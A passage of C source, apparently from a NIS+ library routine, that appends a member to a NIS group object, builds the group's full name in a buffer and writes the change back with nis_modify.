if (NIS_RES_STATUS (res) != NIS_SUCCESS)
{
status = NIS_RES_STATUS (res);
nis_freeresult (res);
return status;
}
if (NIS_RES_NUMOBJ (res) != 1
|| __type_of (NIS_RES_OBJECT (res)) != NIS_GROUP_OBJ)
{
nis_freeresult (res);
return NIS_INVALIDOBJ;
}
u_int gr_members_len
= NIS_RES_OBJECT(res)->GR_data.gr_members.gr_members_len;
nis_name *new_gr_members_val
= realloc (NIS_RES_OBJECT (res)->GR_data.gr_members.gr_members_val,
(gr_members_len + 1) * sizeof (nis_name));
if (new_gr_members_val == NULL)
goto nomem_out;
NIS_RES_OBJECT (res)->GR_data.gr_members.gr_members_val
= new_gr_members_val;
new_gr_members_val[gr_members_len] = strdup (member);
if (new_gr_members_val[gr_members_len] == NULL)
{
nomem_out:
nis_freeresult (res);
return NIS_NOMEMORY;
}
++NIS_RES_OBJECT (res)->GR_data.gr_members.gr_members_len;
/* Check the buffer bounds are not exceeded. */
assert (strlen (NIS_RES_OBJECT(res)->zo_name) + 1 < grouplen + 14);
cp = stpcpy (buf, NIS_RES_OBJECT(res)->zo_name);
*cp++ = '.';
strncpy (cp, NIS_RES_OBJECT (res)->zo_domain, NIS_MAXNAMELEN);
res2 = nis_modify (buf, NIS_RES_OBJECT (res));
status = NIS_RES_STATUS (res2);
nis_freeresult (res);
nis_freeresult (res2);
return status;
}
else
return NIS_FAIL;
}
